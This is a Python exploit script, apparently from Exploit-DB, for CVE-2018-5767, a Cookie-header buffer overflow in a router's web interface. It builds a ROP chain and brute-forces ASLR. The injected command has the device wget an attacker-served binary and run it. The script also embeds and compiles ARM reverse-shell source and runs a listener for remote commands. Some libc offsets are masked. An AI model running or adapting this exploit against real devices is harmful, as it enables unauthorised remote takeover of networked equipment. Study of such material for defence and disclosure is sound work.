#!/usr/bin/env python
# EDB Note ~ Source: https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/
import urllib2
import struct
import time
import socket
from optparse import *
import SimpleHTTPServer
import SocketServer
import threading
import sys
import os
import subprocess
ARM_REV_SHELL = (
"#include <sys/socket.h>\n"
"#include <sys/types.h>\n"
"#include <string.h>\n"
"#include <stdio.h>\n"
"#include <netinet/in.h>\n"
"int main(int argc, char **argv)\n"
"{\n"
" struct sockaddr_in addr;\n"
" socklen_t addrlen;\n"
" int sock = socket(AF_INET, SOCK_STREAM, 0);\n"
" memset(&addr, 0x00, sizeof(addr));\n"
" addr.sin_family = AF_INET;\n"
" addr.sin_port = htons(%d);\n"
" addr.sin_addr.s_addr = inet_addr(\"%s\");\n"
" int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\n"
" dup2(sock, 0);\n"
" dup2(sock, 1);\n"
" dup2(sock, 2);\n"
" system(\"/bin/sh\");\n"
"}\n"
)
REV_PORT = 31337
HTTPD_PORT = 8888
DONE = False
"""
* This function creates a listening socket on port
* REV_PORT. When a connection is accepted it updates
* the global DONE flag to indicate successful exploitation.
* It then jumps into a loop whereby the user can send remote
* commands to the device, interacting with a spawned /bin/sh
* process.
"""
def threaded_listener():
global DONE
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
host = ("0.0.0.0", REV_PORT)
try:
s.bind(host)
except:
print "[+] Error binding to %d" %REV_PORT
return -1
print "[+] Connect back listener running on port %d" %REV_PORT
s.listen(1)
conn, host = s.accept()
#We got a connection, lets make the exploit thread aware
DONE = True
print "[+] Got connect back from %s" %host[0]
print "[+] Entering command loop, enter exit to quit"
#Loop continuosly, simple reverse shell interface.
while True:
print "#",
cmd = raw_input()
if cmd == "exit":
break
if cmd == '':
continue
conn.send(cmd + "\n")
print conn.recv(4096)
"""
* Take the ARM_REV_SHELL code and modify it with
* the given ip and port to connect back to.
* This function then compiles the code into an
* ARM binary.
@Param comp_path – This should be the path of the cross-compiler.
@Param my_ip – The IP address of the system running this code.
"""
def compile_shell(comp_path, my_ip):
global ARM_REV_SHELL
outfile = open("a.c", "w")
ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)
outfile.write(ARM_REV_SHELL)
outfile.close()
compile_cmd = [comp_path, "a.c","-o", "a"]
s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
while s.poll() == None:
continue
if s.returncode == 0:
return True
else:
print "[x] Error compiling code, check compiler? Read the README?"
return False
"""
* This function uses the SimpleHTTPServer module to create
* a http server that will serve our malicious binary.
* This function is called as a thread, as a daemon process.
"""
def start_http_server():
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", HTTPD_PORT), Handler)
print "[+] Http server started on port %d" %HTTPD_PORT
httpd.serve_forever()
"""
* This function presents the actual vulnerability exploited.
* The Cookie header has a password field that is vulnerable to
* a sscanf buffer overflow, we make use of 2 ROP gadgets to
* bypass DEP/NX, and can brute force ASLR due to a watchdog
* process restarting any processes that crash.
* This function will continually make malicious requests to the
* devices web interface until the DONE flag is set to True.
@Param host – the ip address of the target.
@Param port – the port the webserver is running on.
@Param my_ip – The ip address of the attacking system.
"""
def exploit(host, port, my_ip):
global DONE
url = "http://%s:%s/goform/exeCommand"%(host, port)
i = 0
command = "wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;" %(my_ip, HTTPD_PORT)
#Guess the same libc base continuosly
libc_base = ****
curr_libc = libc_base + (0x7c << 12)
system = struct.pack("<I", curr_libc + ****)
#: pop {r3, r4, r7, pc}
pop = struct.pack("<I", curr_libc + ****)
#: mov r0, sp ; blx r3
mv_r0_sp = struct.pack("<I", curr_libc + ****)
password = "A"*offset
password += pop + system + "B"*8 + mv_r0_sp + command + ".gif"
print "[+] Beginning brute force."
while not DONE:
i += 1
print "[+] Attempt %d" %i
#build the request, with the malicious password field
req = urllib2.Request(url)
req.add_header("Cookie", "password=%s"%password)
#The request will throw an exception when we crash the server,
#we don't care about this, so don't handle it.
try:
resp = urllib2.urlopen(req)
except:
pass
#Give the device some time to restart the
time.sleep(1)
print "[+] Exploit done"
def main():
parser = OptionParser()
parser.add_option("-t", "–target", dest="host_ip", help="IP address of the target")
parser.add_option("-p", "–port", dest="host_port", help="Port of the targets webserver")
parser.add_option("-c", "–comp-path", dest="compiler_path", help="path to arm cross compiler")
parser.add_option("-m", "–my-ip", dest="my_ip", help="your ip address")
options, args = parser.parse_args()
host_ip = options.host_ip
host_port = options.host_port
comp_path = options.compiler_path
my_ip = options.my_ip
if host_ip == None or host_port == None:
parser.error("[x] A target ip address (-t) and port (-p) are required")
if comp_path == None:
parser.error("[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2")
if my_ip == None:
parser.error("[x] Please pass your ip address (-m)")
if not compile_shell(comp_path, my_ip):
print "[x] Exiting due to error in compiling shell"
return -1
httpd_thread = threading.Thread(target=start_http_server)
httpd_thread.daemon = True
httpd_thread.start()
conn_listener = threading.Thread(target=threaded_listener)
conn_listener.start()
#Give the thread a little time to start up, and fail if that happens
time.sleep(3)
if not conn_listener.is_alive():
print "[x] Exiting due to conn_listener error"
return -1
exploit(host_ip, host_port, my_ip)
conn_listener.join()
return 0
if __name__ == '__main__':
main()
